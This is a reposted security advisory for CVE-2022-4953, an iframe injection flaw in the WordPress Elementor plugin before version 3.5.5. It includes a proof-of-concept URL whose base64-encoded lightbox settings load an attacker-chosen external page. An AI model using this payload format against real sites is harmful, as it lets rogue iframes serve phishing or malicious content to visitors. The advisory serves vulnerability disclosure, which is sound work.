Exploit/Advisories no image

Published on September 9th, 2023 📆 | 3491 Views ⚑

0

WordPress Elementor Iframe Injection – Torchsec


iSpeech.org

WordPress Elementor Iframe Injection
Posted Sep 8, 2023
Authored by Miguel Santareno

WordPress Elementor plugin versions prior to 3.5.5 suffer from an iframe injection vulnerability.

tags | exploit
advisories | CVE-2022-4953
SHA-256 | f6d2c7c9416faacac186c0f77b71b33febe7a88478054363920eae66b1698273
# Exploit Title: WordPress Plugin Elementor < 3.5.5 - Iframe Injection
# Date: 28.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.





# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K

Source link

Tagged with:



Comments are closed.